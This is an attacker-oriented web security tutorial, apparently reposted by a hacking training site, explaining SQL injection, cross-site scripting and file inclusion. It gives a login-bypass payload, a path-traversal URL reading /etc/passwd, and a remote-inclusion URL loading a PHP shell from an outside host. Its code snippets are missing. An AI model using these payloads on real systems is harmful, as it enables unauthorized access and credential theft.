(MySQL injection–Cross Site Scripting–File inclusion) Practical Approach Guide

Introduction:Ever wanted to understand how your attacks worked rather than using your attacks without understanding? Then this tutorial is just for you.
This tutorial was created for the sole purpose to help educate the users of this community as I don’t think all of you truly understand what is actually going on behind the scene.
For those who wish to know how and why these common attacks work instead of using third party programs to do the work for you, or blatantly use attacks with no knowledge of how they work, then continue to read this thread.
I am not responsible for what you use this for, this is for educational purposes only.

MySQL injection

How does MySQL injection work?

MySQL injection works because programmers do not properly sanitize their input by not escaping their MySQL queries that are being submitted by unauthorized users.
MySQL injection vulnerabilities are usually exploited by inputting MySQL queries into a page’s GET parameter. If you do not know what a GET parameter is, then this is an example:

Code snippet:

http://site.com/article.php?id=12

Take notice of the red text, it contains the value of our GET parameter “id”.
Even though it is commonly exploited via GET parameters, it is not limited to them.

How do our malicious queries get executed?

MySQL queries are usually exploited by modifying the current query, usually blocking off the currently functioning query and adding your own to spit out information or to get around insecure login scripts.
For example this is a snippet of a PHP script that is vulnerable to MySQL injection:

To get a better understanding of how it works, I will dissect the code for you as best as I can.

$user, $password
These are variables that store a value to make it easier to bring up the contents of that value in the future, whether it be a number, a string etc.

$_POST[‘username’], $_POST[‘password’]
These are the values that were stored within our $user and $password variables.
Do you remember I was talking about GET? There are two different types of parameters that can be used to send the data. You can either use GET or POST.
The difference between them is GET’s value can be viewed through the URL whereas POST’s value cannot be viewed.

mysql_query(“SELECT * FROM users WHERE username = ‘$user’ AND password = ‘$password'”);
mysql_query(); is a preset function that allows you to execute MySQL queries. The text inside our mysql_query(); function (inside the parentheses) is the query that will be executed.

So we know our query is SELECT * FROM users WHERE username = ‘$user’ AND password = ‘$password’, so how do we exploit it?

A lot of you may know of the good ol’ ‘ or ‘1’=’1, correct?
I will be using that to demonstrate how to bypass insecure login scripts.

We have just successfully exploited an insecure login script, but how did it work? What was the output?

Still don’t understand? We closed off the current table value when it was asking for the username and password username = ‘ ‘ or ‘1’=’1′ (it’s the same for the password).
We are basically saying if the username equals nothing or 1 is equal to 1 then proceed. The value of username is true so it proceeds.

Cross Site Scripting

How does Cross Site Scripting work?

Cross Site Scripting works because programmers fail to sanitize user input, just as I explained in the MySQL injection section of this tutorial.
Cross Site Scripting enables a remote user to inject client-sided script into a webpage, generally for the best effect; into a GET parameter as stated before.
I will not go through what a GET parameter is again, if you forget then scroll back up to the MySQL injection section of this tutorial.

How do our malicious vectors get executed?

Cross Site Scripting vectors usually get executed by adding on to the already functioning vector. Cross Site Scripting can lead up to a full OS compromise if you know how to utilize your knowledge of programming.
For example this is a snippet of a PHP script that is vulnerable to Cross Site Scripting:

I’ll assume you do not understand what this means, once again I shall dissect the code so you can understand. However, I will leave out what I have already covered.

<form method=”GET”></form>
A form created to contain the input fields, using the method GET which is our parameter.

<input type=”text” name=”keywords” /> <input type=”submit” name=”search” />
We have two types of input fields, type “text” and type “submit”. Type “text” is pretty self-explanatory, it allows you to input text into a text box and type “submit” allows you to submit that text.
We have named the input box (type text) “keywords” which is how we define the name of the GET parameter containing the value of our input.

if($input)
echo $input;
This checks whether or not our GET parameter (keywords) value has been set. If it has then it will print out the user input. It does not sanitize user input, so the text we input will be formatted into code if we wish.

File inclusion

How does Local & Remote File Inclusion work?

File inclusion is possible because, once again, programmers do not sanitize user input.
Once again, generally exploited through GET parameters but not limited to them. A lot of them are usually done by POST parameters as well.
File inclusion works by including a file to a webpage, whether it be an internal or an external source. We generally include files such as /etc/passwd or /etc/shadow from within the users files to output user credentials, you can also include /proc/self/environ to include your own scripts, isn’t that cool? That is Local File Inclusion. As for Remote File Inclusion, generally you include a PHP shell so you can then upload your shell from within the shell included on the page so it is actually on the server.

How do we exploit file inclusion vulnerabilities?

Let’s start off with a PHP snippet so we can grasp what we are dealing with and how our files get included onto the webpage in the first place.

I believe that’s pretty self-explanatory. I explained everything in that snippet already, excluding the include(); function.
If you do not understand I will just explain it to save you the hassle of searching it up.

include($file);
We already know what the value of the variable $file contains, so all the include(); function does is attempt to include the file within the parentheses.

So we know how files are included, so how are we going to exploit the vulnerable file?
I’ll be using /etc/passwd for this Local File Inclusion example.
For example, this is the site we wish to include a local file and output it onto the webpage:

http://site.com/index.php?page=articles.php

To exploit this we will include /etc/passwd instead of articles.php.

http://site.com/index.php?page=../../../etc/passwd%00

Don’t understand? Here is an explanation.

../../../
For each ../ you are moving down one directory, so we are moving down three since we have used three.
Let’s say for example that the file path was the following.
/var/www/billy
We have moved to the directory just before current root directory (one directory before /var/)
So we are accessing a directory that not even the web administrator should be able to access, unless he was using his own web hosting.

/etc/passwd
The /etc/passwd file contains the login credentials of all the users who are able to access Billy’s directory.

%00
This is called a “null byte” and we are using this because the file extension .php is in the way of our inclusion.
Without the null byte our inclusion would look like the following:

http://site.com/index.php?page=../../../etc/passwd.php

The file extension (.php) will not show up in the URL, however it would include it like the following and you will get an inclusion error similar to this:

We don’t want to include a PHP file, so we need to work around that by using our null byte.

As for Remote File Inclusion, it is pretty much the same, however you’re getting it from an external source. An example would be akin to the following:

http://site.com/index.php?page=http://mysite.com/shell.php

However, you will not need to include the file extension if the file extension has already been set to .php, which in this case, it is.

www.extremehacking.org
Cyber Suraksha Abhiyan, CEHv9, CHFI, ECSAv9, CAST, ENSA, CCNA, CCNA SECURITY,MCITP,RHCE,CHECKPOINT, ASA FIREWALL,VMWARE,CLOUD,ANDROID,IPHONE,NETWORKING HARDWARE,TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking,Center For Advanced Security Training in India, ceh v9 course in Pune-India, ceh certification in pune-India, ceh v9 training in Pune-India, Ethical Hacking Course in Pune-India